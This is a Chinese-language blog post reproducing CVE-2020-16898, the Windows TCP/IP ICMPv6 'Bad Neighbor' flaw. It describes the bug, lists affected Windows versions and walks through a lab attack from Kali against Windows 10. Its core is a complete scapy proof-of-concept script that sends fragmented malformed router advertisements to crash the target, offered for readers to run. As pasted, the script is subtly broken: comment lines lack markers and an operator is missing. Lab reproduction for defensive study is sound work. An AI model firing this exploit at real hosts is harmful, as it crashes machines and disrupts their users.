前言
在护网行动留给大家印象最深的应该是红方利用网络安全设备和信息系统通用组件的0day漏洞对蓝队进行渗透攻击,与往年的护网相比,蓝队防护的很辛苦。这也让我思考一个问题,我们的安全工作除了常规的安全管理、漏洞扫测和隐患整改,做一些模拟攻防的CTF实验之外,能否实际复现一下“客观”存在的漏洞呢?今天的文章因为时间关系,只是简单把自己的想法与诸君分享一下。今天我以10月份发布的微软操作系统的一个漏洞为例,简单描述一下漏洞复现的过程。复现的脚本在github上可以找到的,只是略作改动即可使用。
一、漏洞描述
CVE-2020-16898,又称“Bad Neighbor”。当Windows TCP/IP 堆栈不正确地处理使用 Option Type 25(Recursive DNS Server Option)和长度字段值为偶数的ICMPv6路由器广告包时,存在远程代码执行漏洞。在此选项中,长度以8字节的增量计算,因此长度为3的 RDNSS 选项的总长度应该为24字节。该选项本身包含五个字段: IPv6递归 DNS 服务器的类型、长度、保留、生存期和地址。前四个字段总共是8字节,但是最后一个字段可以包含不同数量的 IPv6地址,每个地址16字节。根据RFC5006/8106文档描述,RDNSS长度字段应该始终是一个至少为3的奇数值。而当攻击者构造的RDNSS包的Length为偶数时,Windows TCP/IP 在检查包过程中会根据Length来获取每个包的偏移,遍历解析,导致对 Addresses of IPv6 Recursive DNS Servers 和下一个 RDNSS 选项的边界解析错误,从而绕过验证,将攻击者伪造的option包进行解析,造成栈溢出,从而导致系统崩溃。受影响的操作系统版本如下:
- Windows 10 Version 1709 for 32-bit Systems
- Windows 10 Version 1709 for ARM64-based Systems
- Windows 10 Version 1709 for x64-based Systems
- Windows 10 Version 1803 for 32-bit Systems
- Windows 10 Version 1803 for ARM64-based Systems
- Windows 10 Version 1803 for x64-based Systems
- Windows 10 Version 1809 for 32-bit Systems
- Windows 10 Version 1809 for ARM64-based Systems
- Windows 10 Version 1809 for x64-based Systems
- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows 10 Version 2004 for 32-bit Systems
- Windows 10 Version 2004 for ARM64-based Systems
- Windows 10 Version 2004 for x64-based Systems
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
- Windows Server, version 2004 (Server Core installation)
二、漏洞复现
攻击机:Kali-2020.1
靶机:Windows 10x64_1709
1.通过vmware对受害主机开启IPV6
**
**
(1)查看靶机的系统版本和IPv6地址
(2)查询攻击(Kali)的IPv6地址
(3)编写攻击脚本(python)
攻击脚本github上可以找到,把IPv6地址相应的改为自己的攻击机和靶机的地址就可以了。这里我把自己的脚本贴出来,大家可以自己实践一下。
#!/usr/bin/env python3
Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
Author: Adam 'pi3' Zabrocki
pi3.com.pl
from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
v6_dst = "fd15:4ba5:5a2b:1008:c071:ad6f:921e:a9b1"
v6_src = "fe80::20c:29ff:fe21:fabd"
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
c = ICMPv6NDOptEFA()
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa / \
Raw(load='A'.encode()162 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
IPv6ExtHdrFragment()/pkt
l=fragment6(p_test_frag, 200)
for p in l:
send(p)
(4)攻击靶机
在运行上面的python脚本前,需要安装脚本依赖包scapy。kali命令行下直接pip install scapy就可以了。安装完成后就可以运行脚本了。下面是脚本运行后等候片刻后的结果。
可以看到,Windows操作系统奔溃了,希望越来越多的人关注网络安全。